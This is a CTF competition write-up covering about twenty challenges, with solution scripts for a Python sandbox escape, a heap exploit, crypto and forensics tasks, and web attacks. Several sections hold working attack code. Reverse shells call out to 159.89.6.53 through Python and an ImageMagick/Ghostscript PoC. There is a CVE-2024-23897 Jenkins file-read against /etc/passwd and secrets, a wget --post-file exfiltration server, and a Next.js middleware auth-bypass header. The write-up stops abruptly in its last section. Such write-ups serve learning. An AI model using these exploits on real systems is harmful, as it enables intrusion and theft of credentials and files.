Scoreboard & Thoughts

This was a fairly good CTF, with most of the challenges not being too guessy, although there were a few exceptions. My favourite challenge was luma-chain, for which I wrote a very detailed writeup.

Kudos to the top 7 players.

x

Luma-Chain: Pwn

The binary implemented a custom blockchain with the options to view balance, add balance, shit post, and create contract

The create contract function had a feature where it would run our contract code in a restricted environment

exec(
    compiled,
    {
        "__builtins__": {
            "__build_class__": __build_class__,
            "__name__": __name__,
            "id": id,
        },
        "input": input,
        "result": result,
    },
    {"__builtins__": {}},
)

The blockchain also implemented audit hooks to block calls to everything except builtins.id, cpython.PyInterpreterState_Clear, and cpython._PySys_ClearAuditHooks, the last 2 being unable to be called anyways from standard Python as they are internal Cython calls.

static int audit(const char *event, PyObject *args, void *userData) {
  printf("arg1 = %s\n", event);

  if (!strcmp(event, "builtins.id")) {
    return 0;
  }

  if (!strcmp(event, "cpython.PyInterpreterState_Clear")) {
    return 0;
  }

  if (!strcmp(event, "cpython._PySys_ClearAuditHooks")) {
    return 0;
  }

  if (running) {
    printf("Luma mogged u lol\n");
    printf("Luma mogged u lol\n");
    printf("Luma mogged u lol\n");
    printf("Luma mogged u lol\n");
    exit(1);
  }

  if (!running && !strcmp(event, "exec"))
    running = 1;

  return 0;
}

The blockchain interacted with an internal program using shared memory, to which we could write with the output of the contract

result = result[:56]

shmem.seek(0)
shmem.write(struct.pack("@I", type) + struct.pack("@I", len(result)) + result)

shmem.close()

We could easily spot a BOF in the internal program in the parser function, the code running memcpy without checking if message_length>56

void handle_message() {
  char buf[56];

  uint32_t message_type = ((volatile uint32_t *)shared_memory)[0];
  uint32_t message_length = ((volatile uint32_t *)shared_memory)[1];

  memcpy(buf, (void *)&shared_memory[8], message_length);

  switch (message_type) {
  case MESSAGE_TYPE_ADD: {
    lumacash += *(uint64_t *)&buf[0];
  } break;
  case MESSAGE_TYPE_SHITPOST: {
    memcpy(last_shitpost, buf, message_length);
    system("curl -X POST -d \"ban_my_account=True\" "
           "luciphp://cyber-edu.avadanei.co:69420");
  } break;
  case MESSAGE_TYPE_GET: {
    memcpy((void *)shared_memory, &lumacash, sizeof(lumacash));
    msync((void *)shared_memory, SHARED_MEMORY_SIZE, MS_SYNC);
  } break;
  }
}

However, there was no way to trivially abuse this, as the Python code blocked our overflow attempts using result = result[:56].

So what now?

Well, considering we can run Python, I enumerated what we had access to. As we didn’t have builtins, we needed a way to recover them.

We had access to __name__, __build_class__ and id, as __build_class__.__self__ doesn’t trigger any hooks we can use that to retrieve builtins and useful functions we are going to use later

gi = lambda o, k: __build_class__.__self__.dict.__getitem__(__build_class__.__self__.dict(__build_class__.__self__.vars(o)), k)
print = __build_class__.__self__.print
bytearray = __build_class__.__self__.bytearray
baset =  __build_class__.__self__.bytearray.__setitem__
baget =  __build_class__.__self__.bytearray.__getitem__
dict = __build_class__.__self__.dict
sa = dict.__setitem__
ga = __build_class__.__self__.getatt

My first thought was to try to overwrite the class of the result array to overwrite the __getitem__ constructor to make it so that when result = result[:56] is called, it just returns the whole array.

However, after a lot of testing, I determined this exploitation path was not feasible as there was no way to overwrite and save the bytearray constructor without triggering hooks.

Considering I could call almost nothing due to the hooks, I rechecked what I had access to and saw that the id function could return the memory location of anything we gave as the first argument.

This is an arbitrary read primitive, and if you thought this seemed useless without any writes, you would be right!

Having an arbitrary read, I tried various ways to trigger an arbitrary write. While this doesn’t even seem possible in a language as safe as Python, this assumption is actually very wrong.

Enter MEMORY CORRUPTION. We can actually trigger a UAF to gain an arbitrary write primitive. Here’s an example of how you can do that

class lol:
    def __index__(self):
        global xd, yes
        del yes[:]
        xd = __build_class__.__self__.bytearray()
        yes.extend([0] * 56)
        return 1

yes = __build_class__.__self__.bytearray(56)
baset(yes, 23, lol())

baset(xd, id(200) + 24, 255)
print(200)

Now armed with an arbitrary read and an arbitrary write, we just had to get code execution. After many failed attempts, I realised the audit hooks were stored somewhere in memory, and since the Python binary was compiled with no PIE in the container, we could figure out the address where they were loaded.

linuxvb@linuxvb-VirtualBox:~/ctfs/unr2025-solo/luma-chain$ checksec pythoncontainer
[*] '/home/linuxvb/ctfs/unr2025-solo/luma-chain/pythoncontainer'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    FORTIFY:    Enabled

I got the offset from static analysis with IDA of the PySys_AddAuditHook function, combined with dynamic analysis with gdb, and used something like this to leak where the hooks were being loaded in memory. Keep in mind, we still need to avoid the hooks catching us.

subcls = __build_class__.__self__.dict(__build_class__.__self__.vars(__build_class__.__self__.type))['__subclasses__'](__build_class__.__self__.object)
print(subcls)

wc, = [cls for cls in subcls if 'wrap_close' in __build_class__.__self__.str(cls)]
__build_class__.__self__.print(wc)

glob = ga(gi(wc, "__init__"), "__globals__")
sys = __build_class__.__self__.dict.__getitem__(glob, "sys")
print(sys)

aud = ga(sys.audit, "__init__")
print(aud)

audit_loc = id(sys.audit)+16
print(__build_class__.__self__.hex(audit_loc))
audit_ptr = read_qword(xd, audit_loc)
print(__build_class__.__self__.hex(audit_ptr))


audit_hook_head = audit_ptr + 0xe8ce0 + (383 * 8)

Now that I knew where they were located, I just 0’d them out so they would affect the program anymore and just popped a reverse shell using system

baset(xd, __build_class__.__self__.slice(audit_hook_head, audit_hook_head + 8), __build_class__.__self__.bytes([0]*8))
system = __build_class__.__self__.dict.__getitem__(glob, "system")
system("""python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("159.89.6.53",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'""")

The flag was CTF{wow_you_ju5+_e5c@ped_+he_1um@_ch@in_on_5ki6idi_k09c82k90ck@0r}

Full exploit script below

from pwn import *
context.log_level = 'debug'
host, port = '127.0.0.1',8081
def newp():
    return remote(host, port)
    

def send_contract(payload,inp):
    payload = payload.hex().encode()
    inp = inp.hex().encode()
    p.sendline(b'/contract' + b' ' + payload + b' ' + inp)

p = newp()

payload = b'''
gi = lambda o, k: __build_class__.__self__.dict.__getitem__(__build_class__.__self__.dict(__build_class__.__self__.vars(o)), k)
print = __build_class__.__self__.print
bytearray = __build_class__.__self__.bytearray
baset =  __build_class__.__self__.bytearray.__setitem__
baget =  __build_class__.__self__.bytearray.__getitem__
dict = __build_class__.__self__.dict
sa = dict.__setitem__
ga = __build_class__.__self__.getattr

def read_qword(mem, addr):
    global baget
    b = []
    for i in __build_class__.__self__.range(8):
        b.append(baget(mem, addr + i))
    return __build_class__.__self__.int.from_bytes(__build_class__.__self__.bytes(b), 'little')

class lol:
    def __index__(self):
        global xd, yes
        del yes[:]
        xd = __build_class__.__self__.bytearray()
        yes.extend([0] * 56)
        return 1

yes = __build_class__.__self__.bytearray(56)
baset(yes, 23, lol())


subcls = __build_class__.__self__.dict(__build_class__.__self__.vars(__build_class__.__self__.type))['__subclasses__'](__build_class__.__self__.object)
print(subcls)

wc, = [cls for cls in subcls if 'wrap_close' in __build_class__.__self__.str(cls)]
__build_class__.__self__.print(wc)

glob = ga(gi(wc, "__init__"), "__globals__")
sys = __build_class__.__self__.dict.__getitem__(glob, "sys")
print(sys)

aud = ga(sys.audit, "__init__")
print(aud)

audit_loc = id(sys.audit)+16
print(__build_class__.__self__.hex(audit_loc))
audit_ptr = read_qword(xd, audit_loc)
print(__build_class__.__self__.hex(audit_ptr))


audit_hook_head = audit_ptr + 0xe8ce0 + (383 * 8)

baset(xd, __build_class__.__self__.slice(audit_hook_head, audit_hook_head + 8), __build_class__.__self__.bytes([0]*8))
system = __build_class__.__self__.dict.__getitem__(glob, "system")
system("""python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("159.89.6.53",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'""")
'''
inp = b'0'
send_contract(payload, inp)
p.close()

xps: Pwn

We receive a classic heap menu challenge.

Option 1 allows us to malloc up to 16 chunks at the same time, of a size of our choice. The first bug was in how it saved the data, as it didn’t account for when the length was maximum, so we had a null byte overflow.

buf = malloc(v2);
printf("Msg: ");
read(0, buf, v2);
*((_BYTE *)buf + v2) = 0;

Right after that was our second bug, as the chunks were immediately printed using %s, so if any pointers were present in the first bytes, we could get a leak

int __fastcall cps_transform(__int64 a1)
{
  unsigned int v1; // eax
  char *format; // [rsp+20h] [rbp-10h]

  v1 = time(0LL);
  srand(v1);
  format = (&xss_payloads)[rand() % 9LL]; // all of these printed using %s
  printf("Transformed payload: ");
  printf(format, a1);
  return putchar(10);
}

We also had the option to free chunks, which 0’d out the pointer and also memset the first 16 bytes to 0, a pretty secure implementation

int __fastcall free_memory(unsigned __int8 a1)
{
  int result; // eax

  if ( !*(&saveAllocations + a1) || a1 > 16u )
    return puts("Incorrect index.");
  memset(*(&saveAllocations + a1), 0, 0x10uLL);
  free(*(&saveAllocations + a1));
  result = a1;
  *(&saveAllocations + a1) = 0LL;
  return result;
}

So we just have to implement a classic null byte overflow with no additional protections, as libc was 2.25. The only thing to keep in mind is that at lines 51,52 in the code, the order needs to be

delete(1)
delete(0)

If you invert the operations, the first free will zero out the size field of chunk 1, and this will crash.

Exploit script

from pwn import *
context.log_level = 'debug'
context.binary = binary = './xps'
given_libc = './libc.so.6'
libc = ELF(given_libc)

elf = ELF(binary)
host, port = '35.198.148.201',32465
def newp():
    if args.REMOTE:
        return remote(host, port)
    return process(elf.path)

def create(index, size, data): #create chunk
    p.sendlineafter(b'3. Exit\n> ', b'1')
    p.sendlineafter(b'Index: ', str(index).encode())
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Msg: ', data)

def delete(index): #delete chunk
    p.sendlineafter(b'3. Exit\n> ', b'2')
    p.sendlineafter(b'Index: ', str(index).encode())


p = newp()
create(0, 0xf8, b'A'*0xf8)
create(1, 0x68, b'B'*0x68)
create(2, 0xf8, b'C'*0xf8)
create(3, 0x10, b'D'*0x10)
delete(0)
delete(1)


create(0, 0x68, b'B'*0x60 + p64(0x170))
delete(2)
create(1, 0xf6, b'E')


#p.interactive()

leak = p.recvline().split(b'alert("')[1].split(b'")>')[0]
leak = u64(leak.ljust(8, b'\x00'))
print(f'Leaked libc address: {hex(leak)}')
libc_base = leak - 0x397d45
print(f'Libc base: {hex(libc_base)}')


delete(1)
create(1, 0x100, b'B'*0xf8 + p64(0x70))

delete(1)
delete(0)


malloc_hook_offset = libc.sym['__malloc_hook'] - 0x23
print(malloc_hook_offset)

malloc_hook = libc_base + malloc_hook_offset
print(f'Malloc hook: {hex(malloc_hook)}')

create(0, 0x108, b'F'*0xf8 + p64(0x70) + p64(malloc_hook))
create(1, 0x68, b'B'*0x68)

gadget_offset = 0xd6fb1
gadget = libc_base + gadget_offset


create(2, 0x68, 0x13*b'G'+p64(gadget)+0x4d*b'\x00')


p.sendlineafter(b'3. Exit\n> ', b'1')
p.sendlineafter(b'Index: ', b'5')
p.sendlineafter(b'Size: ', b'0x20')

p.interactive()

Flag was UNBR{11f0693ffa307c21cafb41e7345668a6c6ed40d93d220d247275d793d8926374}

secretBook: Crypto

After installing the files, we are presented with some pictures, a binary, and an encrypted text.

Firstly, to reverse the binary extract the embedded pyc using pyinstxtractor-ng and decompile it to obtain the source

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: open_book_app.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import sys
import os
wordlist_file = 'inspiration.txt'
input_file = 'my_secret_book_draft.secure'
output_file = 'my_secret_book_draft.txt'

def load_wordlist(wordlist_file):
    """Load words from the wordlist file into a list."""  # inserted
    if not os.path.isfile(wordlist_file):
        print('I must find my inspiration')
        sys.exit(1)
    try:
        with open(wordlist_file, 'r', encoding='utf-8') as f:
            words = [line.strip() for line in f if line.strip()]
            return words
    except FileNotFoundError:
        print(f'Error: {wordlist_file} not found.')
        sys.exit(1)

def xor_file_with_words(input_file, words, order):
    """XOR file content with words from the list in the specified order."""  # inserted
    try:
        with open(input_file, 'rb') as f:
            data = f.read()
        xored_data = data
        for idx in order:
            word = words[idx]
            word_bytes = word.encode('utf-8')
            word_bytes_repeated = word_bytes * (len(xored_data) // len(word_bytes) + 1)
            xored_data = bytes((d ^ k for d, k in zip(xored_data, word_bytes_repeated[:len(xored_data)])))
        return xored_data
    except FileNotFoundError:
        print(f'Error: {input_file} not found.')
        sys.exit(1)

def save_output_to_file(output_data, output_file):
    """Save the XOR result to a text file."""  # inserted
    try:
        with open(output_file, 'wb') as f:
            f.write(output_data)
            print(f'Decrypted output saved to {output_file}')
    except IOError as e:
        print(f'Error saving to {output_file}: {e}')
        sys.exit(1)

if __name__ == '__main__':
    if not os.path.isfile(wordlist_file):
        print('I must find my inspiration')
        sys.exit(1)
    order_input = input('Please provide a list: ')
    try:
        order = [int(i) for i in order_input.split(',')]
        words = load_wordlist(wordlist_file)
        if any((idx >= len(words) for idx in order)):
            print('Error: Order indices exceed available words in wordlist.')
            sys.exit(1)
        decrypted_data = xor_file_with_words(input_file, words, order)
        save_output_to_file(decrypted_data, output_file)
    except ValueError:
        print('Error: Invalid input. Please provide a comma-separated list of integers.')
        sys.exit(1)

You can see it xors with words from inspiration.txt at the given indices.

Checking the images, we see some have metadata. Combining the words from the comments, we get the following sentence.

The kite flew by the lighthouse as the dolphin swam near the waterfall, while the rainbow arched over the jungle with one parrot flying above.

And now all we need to do is xor with those words, right? NO

We actually had to take the index of each word + 1 and XOR it with that to get the flag, which seems pretty dumb if you ask me, but it is what it is.

The key indices were 102,11,179,235,102,12,112,102,4,233,238,102,23,149,102,18,237,121,102,10,105,31,16,54,131, xor the file with these words to get the flag ctf{8d3acd89dd7a20a18f8a6821a5e4549bac67cfe91d2da09a9ffad957cfc4cee4}.

secret_antidote: Forensics

Running strings -n 7 on the file shows some Morse, decoding it, we get:

THEKEYFORTHEANTIDOTEIS:
GOLF
OSCAR
OSCAR
DELTA
NOVEMBER
INDIA
GOLF
HOTEL
TANGO
GOLF
OSCAR
OSCAR
DELTA
LIMA
UNIFORM
CHARLIE
KILO

Decode the next part with nato phonetic cipher to get the flag: good-night-good-luck -> ctf{9f19fa2836c4a78da54cd418feca82365801f86694fca777a3fd8f9c7dfb5d13}

ardu_composer: Reverse

We can get the first flag part using strings ctf{1878c966930833d2784db21eec0f1

We can get the source code using avr-objdump -d ardu_composer.ino.elf > out.asm

Looking through the source, we can see an array named _ZL15epd_bitmap_ctf2. Parsing it to a bitmap reveals the second part of the flag 00e1c4ab07d41d3de32f5b2b16d2ea26dd5}. Here is my script

import numpy as np
import matplotlib.pyplot as plt

def load_bitmap(filename):
    with open(filename, "rb") as f:
        return f.read()

def decode_epd_bitmap(data, width, height, invert=True):
    expected_size = (width * height) // 8
    img = np.zeros((height, width), dtype=np.uint8)
    for row in range(height):
        for col_byte in range(width // 8):
            byte_index = row * (width // 8) + col_byte
            if byte_index >= len(data):
                break
            byte_val = data[byte_index]
            for bit in range(8):
                pixel = (byte_val >> (7 - bit)) & 1
                if invert:
                    pixel = 1 - pixel
                x = col_byte * 8 + bit
                img[row, x] = pixel

    return img

def show_image(img):
    plt.imshow(img, cmap="gray", interpolation="nearest")
    plt.title("Decoded EPD Bitmap")
    plt.axis("off")
    plt.show()

width = 128
height = 64

filename = "epd_bitmap_ctf2.bin"
data = load_bitmap(filename)
img = decode_epd_bitmap(data, width, height,
                        invert=False)

show_image(img)

hunting-phantom-traffic: Forensics

We received a pcap; opening it in Wireshark, we see that it performs a GET on mimikatz.exe in packet 17, which was the answer to Q1.

From that packet, you could also get the C2 IP 192.168.100.46

For Q3, just filter by tcp.dstport == 4444 and you’ll see payment.txt in one of the packets.

For Q4, filter by ftp and the other login is ftpuser:ftpuser

And lastly, for Q5, use export http objects to get the image and run sha256sum on it c6627f8c7d95d75cc8d2140c63e25d35a28c3df1fdc4c2969694174a771118f2

php-troll: Web

The source is minimal, the website opens a file of our choosing and places the contents in /tmp/dump.txt

<?php

if (!isset($_GET['x'])) {
    highlight_file(__FILE__);
    die();
} 

// Easy, right? The flag is in flag.php
copy($_GET['x'], "/tmp/dump.txt");

This is a classic PHP filter chain oracle exploit, better detailed here.

Just copy the exploit from here and run it to get the flag

python3 filters_chain_oracle_exploit.py --target http://34.89.160.63:30936/ --file 'flag.php' --parameter x --verb GET

Do note we had to brute the last two chars as there is a 135 (I think) character limit on the exploit, and there was some junk before it in the flag.php file.

The flag is CTF{5091db8f148b071726c5dce67f0896cbb1f7ed1d13c1eb05cad74e3096cd8242}

strange-encoding: Crypto

We received an msg.enc, counting the parentheses, I saw the ( and ) counts were the same, so I thought about Python.

Doing reverse and rot14 in CyberChef reveals an exec code

exec('x=%x'%('e'==''))==exec('e=%x'%(''==''))==exec('c=%x%%x'%e%e)==exec('c=%x%%x%%%%x%%%%%%%%x'%x%c%e%e)==exec('ee=%x%%x%%%%x'%e%x%c)==exec('ee=%x'%ee)==exec('ee=%x'%ee)==exec('xe=ee%ce%%ce'%ee%ee)==exec('xx=ee%cc'%xe)==exec('xc=xx%ce'%ee)==exec('ce=xc%cc'%ee)==exec('cx=ce%cxx'%ee)==exec('cc=cx%cxc'%ee)==exec('eee=cc%cxx'%ee)==exec('eex=eee%cxe'%xe)==exec('eec=eex%cc'%ee)==exec('exe=eec%ccx'%xe)==exec('exx=xe%cexe'%xe)==exec('exc=eex%cexx'%xe)==exec('ece=eee%cexc'%xe)==exec('ecx=ece%cc'%ee)==exec('ecc=ecx%cece'%ee)==exec('xee=ecc%cexx'%xe)==exec('xex=xee%cce'%xe)==exec('xec=xex%cxex'%ee)==exec('xxe=xec%cexx'%ee)==exec('xxx=eee%cxxe'%xe)==exec('xxc=xxx%ce'%xe)==exec('xce=ecc%cxxc'%xe)==exec('xcx=xce%cxex'%ee)==exec('xcc=xcx%cxe'%xe)==exec('cee=eee%cxcc'%xe)==exec('cex=cee%cc'%ee)==exec('cec=cex%cxxx'%xe)==exec('cxe=cec%cxxc'%ee)==exec('cxx=cxe%cexe'%xe)==exec('cxc=cxx%cxc'%ee)==exec('cce=cxc%ccec'%xe)==exec('ccx=eex%ccce'%xe)==exec('ccc=cxc%cccx'%xe)==exec('eeee=ccc%ce'%ee)==exec('eeex=eeee%cccx'%ee)==exec('eeec=eeex%cexx'%xe)==exec('eexe=eeec%cecx'%ee)==exec('eexx=eexe%cee'%xe)==exec('''ex=('%c%%c%%%%c%%%%%%%%c')''')==exec('''ec=('')''')==exec('ec%c=ex%%cxc%%eexx%%eeec%%eeex'%ee)==exec('ec%c=ex%%ccc%%cxx%%ccc%%exe'%ee)==exec('ec%c=ex%%xcc%%cx%%ccx%%eec'%ee)==exec('ec%c=ex%%cxe%%cce%%cxc%%cec'%ee)==exec('ec%c=ex%%cec%%cee%%cxc%%cee'%ee)==exec('ec%c=ex%%xce%%xxx%%cxe%%xce'%ee)==exec('ec%c=ex%%ece%%cce%%cxc%%cec'%ee)==exec('ec%c=ex%%eeec%%cex%%cex%%xxc'%ee)==exec('ec%c=ex%%cce%%cxe%%cxc%%cce'%ee)==exec('ec%c=ex%%cce%%cxe%%cee%%xxx'%ee)==exec('ec%c=ex%%ece%%xce%%ecx%%xex'%ee)==exec('ec%c=ex%%cxe%%xex%%xee%%xxc'%ee)==exec('ec%c=ex%%cxe%%xex%%ecx%%cxc'%ee)==exec('ec%c=ex%%xce%%cxc%%ecx%%xxx'%ee)==exec('ec%c=ex%%cex%%cxc%%cce%%xex'%ee)==exec('ec%c=ex%%cex%%cxe%%cxc%%cex'%ee)==exec('ec%c=ex%%cec%%xex%%xex%%cxe'%ee)==exec('ec%c=ex%%cec%%cec%%cce%%cce'%ee)==exec('ec%c=ex%%cxc%%xxc%%xce%%cex'%ee)==exec('ec%c=ex%%cc%%exe%%ce%%cex'%ee)==exec('ec%c=ex%%eex%%ecc%%xxe%%xx'%ee)==exec('ec%c=ex%%xxc%%xc%%ce%%xcx'%ee)==exec('ec%c=ex%%exc%%ecc%%xec%%xxe'%ee)==exec('ec%c=ex%%xx%%cxc%%eexx%%eeec'%ee)==exec('''ec%c='%%c'%%eeex'''%ee)==exec('''ec%c='%%c'%%xc'''%ee)==exec(ec)

Changing the last exec to a print shows the flag

flag = 'CTF{d2f44bfb91d932f4aee02df22db13967d7c0d76f9f61ef27edfe477d4422f09e}',exit(0),print(flag)

peroxid: Web

We have a file upload vulnerability with almost random names generated by

$fileName = uniqid('img_', true) . '.' . $extension;

In addition, the file was processed by imagemagick

The first vulnerability seemed to be a rabbit hole, as I didn’t find a good way to brute-force the PHP internal_lcg seed.

Searching for exploits related to imagemagick led me to find this article from HackerOne

Testing their POC, we are able to pop a shell.

%!PS 
userdict /setpagedevice undef 
legal 
{ null restore } stopped { pop } if 
legal 
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/159.89.6.53/1337 0>&1') 
currentdevice putdeviceprops

jankin-jenkins: Web

Running whatweb on the website, we can see the Jenkins version is 2.441.

The version is vulnerable to CVE-2024-23897. I used the hackthebox article to exploit. Downloaded the cli from the path /jnlpJars/jenkins-cli.jar

java -jar jenkins-cli.jar -s http://34.141.126.212:31009/ connect-node "@/proc/self/environ" | grep -i flag
java -jar jenkins-cli.jar -s http://34.141.126.212:31009/ connect-node "@/var/jenkins_home/secrets/initialAdminPassword"
java -jar jenkins-cli.jar -s http://34.159.49.236:32521/ connect-node "@/etc/passwd"
java -jar jenkins-cli.jar -s http://34.159.137.2:31767/ connect-node "@/home/flag.txt"

my-specialty: Rev, Crypto

The binary implemented an RSA encryption of the flag, e was 0x10001, so that was secure, the problem lay in how it generated the primes.

It used an algorithm that basically did this to generate a 2048-bit N.

(r1*r1 + a1) * (r2*r2 + a2)
a1 = 0x539
a2 = 0xCF5
r1 = random
r2 = random

Searching for attacks on this, I found this paper that referenced this paper, which contained the attack we need.

Now, just implement the attack to crack

import math
from sympy import sqrt, integer_nthroot
from Crypto.Util.number import inverse, long_to_bytes
# Given parameters
N =  111707958900765710398221410031164620328420649311968772915979611007865517805846601909323756372539783599211790618155940725387991948861933253593885323199638442580734030737504817890495819757759073024096325203094515946176865037945973409055458780633999967879384662326237303943257654276308848562603079732486635017859839262122813174512291302058416496516406107299062301941633718489405731162561636948933763021960880840333940891398726183134815048236834549300408643029893648730255881015371132638882523979515174080051191974236537301973710910843626918156897539941964896612748181920423528739071835747641814492863951241825082781153
rp = 1337   # 1337 decimal
rq = 3317  # 3317 decimal
m = 2
e = 65537
c = 95359928587764831480911453909207891080325418583420988468597736573261507006173170207060195551022261350232673714121894143070297449503797250510491056609913217292486277150236907018272378301183372848642458193059771358743664373297171128180992999582614219732033289380947350648148990613316165351439300568864887775837728390020938390340957429399228128031681736974383272172501839065156927134436381870106357722355963105434667672618355971178611001662410691625562777671918959424161218537115943248493048668591967661754432967818124467712172625060771944442677444770466047177648215160677042557263736253458151837698445366178657841046


i = int(integer_nthroot(rp*rq,2)[0])
print(i)
i = 1

while i < rq//2 + rp + 1 + 10**6:
    omega = (int(integer_nthroot(N,2)[0]) - i) ** 2
    z = (N - rp * rq) % omega
    i+=1
    disc = z*z - 4*omega*rp*rq
    if disc < 0:
        continue
    sqrt_disc = int(integer_nthroot(disc,2)[0])
    num1 = z + sqrt_disc
    X1 = num1 // 2
    num2 = z - sqrt_disc
    X2 = num2 // 2

    p = (N // (X1 // rq + rp))
    q = (N // (X2 // rq + rp))
    if N%p == 0:
        print('Found p')
        print(p)
        q = N // p
        break
    if N%q == 0:
        print('Found q')
        print(q)
        p = N // q
        break


d = inverse(e, (p-1)*(q-1))
m = pow(c, d, N)
print(m)
m = long_to_bytes(m)
print(m)

The flag was CTF{53e134efb6cf5bdd0f8e035577abb9ffc27130f573689c57ef24dbf5c92ef4b1}

ai-sincs: Forensics

For Q1, just try ChatGPT as it’s a well-known AI.

For Q2, just do grep -ira \@gmail.com and try all the emails.

For Q4, just do grep -ra sid=29

And for the flag, we needed to use volatility to analyse the dump. Knowing the user talked to ChatGPT, I dumped the ChatGPT conversation, and the flag was there in base32

python3 ~/volatility3/vol.py --file Challenge.elf windows.info
python3 ~/volatility3/vol.py --file Challenge.elf windows.cmdline.CmdLine

python3 ~/volatility3/vol.py --file Challenge.elf windows.filescan.FileScan


python3 ~/volatility3/vol.py -f Challenge.elf windows.dumpfiles.DumpFiles --virtaddr 0x800751c92710

The flag was CTF{7f207508e2f0dcf5b5431447b9d661cb0edc96b5527ae76c38e2a0663d1a9bda}

dev-release: Mobile

Reversing the app, we can see it interacts with an api that has the following options.

/api/balance
/api/health
/api/items
/api/purchase
/api/reset-balance

Looking at where they are used in the source, we can see the purchase has a costless option

private static String f139String$0$str$funtoString$classPurchaseRequest = "PurchaseRequest(";
private static String f145String$1$str$funtoString$classPurchaseRequest = "itemId=";
private static String f151String$3$str$funtoString$classPurchaseRequest = ", ";
private static String f155String$4$str$funtoString$classPurchaseRequest = "costless=";
private static String f158String$6$str$funtoString$classPurchaseRequest = ")";

Send a request with it to get the flag.

x

fast-hook: Misc

We have an app that sends an OPTIONS request to a URL. The restriction is that it should start with https://cyber-edu.co

Try to SSRF with https://cyber-edu.co@test, we get

You hacker! Invalid URL! Cannot contain 'co@

This can be easily bypassed by placing some characters after co.

https://cyber-edu.colol@wysynbqw.requestrepo.com

Checking the requestrepo, we see the flag.

x

Screenshooter: Web

The app was vulnerable to some kind of CSRF via the /dashboard api

@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
    if 'user' not in session:
        return redirect(url_for('login'))
    
    text = request.values.get('text')
    if text:
        # Call the screenshot service
        url = urljoin(f'http://localhost:{APP_PORT}/', f'/text/{text}')
        result = requests.get(
            SCREENSHOT_SERVICE,
            params={'url': url} # CSRF kinda
        ).json()

        if 'error' in result:
            return 'Error getting screenshot'
        
        return render_template('preview.html', screenshot=result['result'])

    return render_template('dashboard.html')

We could extend our reach using the open-redirect in /login in the next parameter

@app.route('/login', methods=['GET', 'POST'])
def login():
    email = request.values.get('email')
    password = request.values.get('password')
    next_url = request.values.get('next', '/dashboard')

    if not email or not password:
        return render_template('login.html')

    if email in users and users[email] == password:
        session['user'] = email
        return redirect(next_url) # open redirect

    return render_template('login.html')

Now, just deploy a server to redirect to localhost:5000 with parameters that post the flag file to our VPS.

This was exp.py

import os
import random
import requests

from flask import Flask, render_template, request, redirect, url_for, session
from urllib.parse import urljoin


APP_PORT = os.getenv('APP_PORT', 1234)
SERVICE_PORT = os.getenv('SERVICE_PORT', 5000)
FONTS = ['Press Start 2P', 'Bangers', 'Rubik Glitch', 'Fredericka the Great', 'Nosifer', 'Monoton']
SCREENSHOT_SERVICE = f'http://127.0.0.1:{SERVICE_PORT}/screenshot'
users = {}

text = '../login?a=a&a=a'
url = urljoin(f'http://localhost:{APP_PORT}/', f'/text/{text}')

print(url)

r = requests.session()
url = 'http://127.0.0.1:1234'
url = 'http://34.159.27.166:32152'
resp = r.post(url + '/register',data={'email':'a','password':'a'})
#print(resp.text)
resp = r.post(url + '/login',data={'email':'a','password':'a'})
#print(resp.text)

resp = r.post(url + '/dashboard',data={'text':'../login?email=a&password=a&next=//159.89.6.53:8000'})
print(resp.text)

And this was server.py

from flask import Flask, redirect, request
from flask import Flask, request, redirect
from urllib.parse import urlparse, urlunparse, urlencode, parse_qs
app = Flask(__name__)

# @app.route('/')
# def redirect_to_target():
#     #return redirect('http://localhost:5000/screenshot?url=159.89.6.53:1338%26verbose%3d--post-data="$(echo RCE)"', code=302)
#     return redirect('http://localhost:5000/screenshot?verbose=--post-data="$(echo RCE)"', code=302)

@app.route('/')
def redirect_with_params():
    dest = 'http://localhost:5000/screenshot'
    parsed_url = urlparse(dest)
    query_params = parse_qs(parsed_url.query)
    query_params['verbose'] = '--post-data="$(echo RCE)"'
    query_params['verbose'] = '--post-file=/app/flag.txt'
    query_params['url'] = '159.89.6.53:1338'

    new_query = urlencode(query_params, doseq=True)
    new_url = urlunparse((
        parsed_url.scheme,
        parsed_url.netloc,
        parsed_url.path,
        parsed_url.params,
        new_query,
        parsed_url.fragment
    ))

    return redirect(new_url)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

On port 1338, I just ran a listener and waited for the file upload.

x

Aligator: Web

The website used "next": "14.2.24", so it was vulnerable to CVE-2025-29927

Placing x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware in the request bypassed authorization

Get the first flag from /api/flag

x

For the second part, we first had to upload a file to overwrite .gitignore with something that contained crocoLUMA, do that with /api/admin/upload

x

Now just get /admin/flag to get the second part.

x

simple-go: Rev

Open the file in IDA 8.3 to see that it has a main.getFlag function.

x

Since 8.3 didn’t want to decompile, I got its offset 0x10009a2b0 and opened it with IDA 7.7; the challenge was just doing a simple xor.

x

Made this quick script to decrypt

import struct
from pwn import *

key = p16(14099) + p32(-272716322&0xffffffff)

data = b''
data += p8(80)
data += p32(-1999202205&0xffffffff)
data += p64(0x22D78ECCE9562BDF)
data += p64(0xBF5627DC8DCCE803)
data += p64(0x8B9ABD0377D88DC9)
data += p64(0x27DA86CFEF0771DE)
data += p64(0xE65221DBDB9CBB52)
data += p64(0x8E9DBF0477DB8B9F)
data += p64(0x228B879EE8542BDB)
data += p64(0xA30E2B8A87CBBA53)

print(xor(data,key))

treasure-hunt: Stego

Looking at the image with stegsolve, we can see a sus line in Red Plane 3.

x

Extracting the Red LSB 3 from the image, we can see this in the strings.

